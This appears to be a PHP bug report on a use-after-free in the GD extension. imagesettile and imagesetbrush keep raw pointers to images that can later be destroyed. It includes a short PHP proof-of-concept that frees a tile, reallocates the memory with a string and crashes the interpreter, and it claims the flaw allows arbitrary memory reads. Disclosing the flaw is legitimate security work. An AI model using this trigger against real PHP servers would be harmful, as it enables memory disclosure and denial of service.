Description:
------------
Image resources in GD are represented by the gdImage struct. Images can be created via the PHP userland functions imagecreate and imagecreatetruecolor and return such a resource.

via imagesettile (http://php.net/manual/de/function.imagesettile.php) one image resource can then be set as a "tile" for another image. A pointer to the underlying gdImage Struct of the tile is then set as the value of the tile field of the image resource that should have the tile:

void gdImageSetTile (gdImagePtr im, gdImagePtr tile)
{
	int i;
	im->tile = tile;
...


The issue is that only a pointer to the struct is passed, meaning all information about the refcount is then lost. By freeing the tile, creating a string of the same size as the just freed tile an attacker can read arbitrary memory memory.

The same happens for brushes:

void gdImageSetBrush (gdImagePtr im, gdImagePtr brush)
{
	int i;
	im->brush = brush;
...




Test script:
---------------
<?php

$img = imagecreate(0xff, 0xff);
$tile = imagecreate(0xff, 0xff);
imagesettile($img, $tile);
imagedestroy($tile);
$str = str_repeat("\x00", 7360 - 32);
imagesetpixel($img, 0, 0, -5);


Expected result:
----------------
No crash

Actual result:
--------------
Floating point exception (core dumped)